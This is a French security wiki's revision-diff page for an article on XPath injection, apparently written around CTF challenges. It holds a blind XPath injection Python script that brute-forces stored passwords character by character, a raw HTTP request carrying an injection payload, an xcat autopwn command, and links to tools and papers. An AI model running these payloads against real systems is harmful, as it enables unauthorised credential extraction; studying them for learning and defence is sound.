Outils d'utilisateurs
failles_web:xpath_injection
Différences
Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
failles_web:xpath_injection [2014/07/01 14:06] sorcha [Script de recherche de caractères:] |
failles_web:xpath_injection [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 5: | Ligne 5: | ||
| - | Une authentification basée sur un fichier xml. | ||
| ==== Le principe: ==== | ==== Le principe: ==== | ||
| Ligne 70: | Ligne 69: | ||
| Le test login/password se fait sur ce genre de code: | Le test login/password se fait sur ce genre de code: | ||
| <code php> | <code php> | ||
| - | Error during search, invalid XPath syntax : //user/username[contains(., '' )')] | + | Invalid XPath syntax : //user/username[contains(., '' )')] |
| </code> | </code> | ||
| Ligne 159: | Ligne 158: | ||
| <file python xpath3.py> | <file python xpath3.py> | ||
| import requests | import requests | ||
| + | |||
| + | |||
| + | page = "http:///?action=user&userid=2" | ||
| + | cooki = {'che' : '1','spip_session' : ''} | ||
| + | |||
| child_node_pos=0 | child_node_pos=0 | ||
| Ligne 165: | Ligne 169: | ||
| for user in range(1,10): | for user in range(1,10): | ||
| - | print "user:"+str(user) | + | print "user:"+str(user) |
| - | passwd="" | + | passwd="" |
| - | for child_node_pos in (1,2): | + | for child_node_pos in (4,6): |
| - | print " - noeud:"+str(child_node_pos) | + | print " - noeud:"+str(child_node_pos) |
| - | for t in range(1,50): | + | for t in range(1,50): |
| - | if continuer: | + | if continuer: |
| - | continuer=False | + | continuer=False |
| - | for carac in charset: | + | for carac in charset: |
| - | req=page+"+and+substring(//user["+str(user)+"]/child::node() ["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")" | + | req=page+"+and+substring(//user["+str(user)+"]/child::node()["+str(child_node_pos)+"],"+str(t)+",1)=codepoints-to-string("+str(ord(carac))+")" |
| - | res = requests.get(req,cookies=cooki) | + | res = requests.get(req,cookies=cooki) |
| - | + | ||
| - | if "Bob" in res.text: | + | if "John" in res.text: |
| - | passwd+=carac | + | passwd+=carac |
| - | continuer=True | + | continuer=True |
| - | print passwd | + | print passwd |
| - | break | + | break |
| - | else: | + | else: |
| - | print passwd | + | print passwd |
| - | t=1 | + | t=1 |
| - | continuer=True | + | continuer=True |
| - | passwd+=":" | + | passwd+=":" |
| - | break | + | break |
| </file> | </file> | ||
| \\ | \\ | ||
| Ligne 339: | Ligne 342: | ||
| print passwd | print passwd | ||
| break | break | ||
| - | else: | + | else: |
| - | print "Le mot de passe est : "+passwd | + | print "Le mot de passe est : "+passwd |
| - | break | + | break |
| </file> | </file> | ||
| Ligne 348: | Ligne 351: | ||
| La requête RAW: | La requête RAW: | ||
| <code python> | <code python> | ||
| - | GET HTTP/1.1 | + | GET //url.com/log=members&search=Harry')+and+starts-with(../password,' HTTP/1.1 |
| Host: | Host: | ||
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 | ||
| Ligne 386: | Ligne 389: | ||
| à tester: | à tester: | ||
| <code python> | <code python> | ||
| - | xcat.py --true "John" --arg "action=user&userid=2" --method GET --cookie "" http://challenge01.root-me.org//web-serveur/ch24/? --autopwn | + | xcat.py --true "Alice" --arg "do=user&id_user=2" --method GET --cookie "" http://url.com/? --autopwn |
| </code> | </code> | ||
| Ligne 393: | Ligne 396: | ||
| Le meilleur pour la fin, l'excellent outil de Krach: | Le meilleur pour la fin, l'excellent outil de Krach: | ||
| - | [[http://krach.in/category/outils/page/4/]] | + | [[http://krach.me/XPath_Injection_Utility/]] |
| \\ | \\ | ||
| ==== xpath-blind-explorer==== | ==== xpath-blind-explorer==== | ||
| [[http://code.google.com/p/xpath-blind-explorer/downloads/list?]] | [[http://code.google.com/p/xpath-blind-explorer/downloads/list?]] | ||
| - | ===== Docs ===== | ||
| ---- | ---- | ||
| - | * [[http://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf]] | + | |
| - | * [[http://2stop.me/Sécurité%20Informatique/Web/EN%20-%20Blind%20Xpath%20injection.pdf]] | + | ===== Docs ===== |
| - | * [[http://packetstorm.interhost.co.il/papers/bypass/Blind_XPath_Injection_20040518.pdf]] | + | |
| + | * [[http://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf]] | ||
| + | * [[http://2stop.me/Sécurité%20Informatique/Web/EN%20-%20Blind%20Xpath%20injection.pdf]] | ||
| + | * [[http://packetstorm.interhost.co.il/papers/bypass/Blind_XPath_Injection_20040518.pdf]] | ||
failles_web/xpath_injection.1404216374.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)
Outils de la Page
Sauf mention contraire, le contenu de ce wiki est placé sous la licence suivante : CC Attribution-Share Alike 3.0 Unported
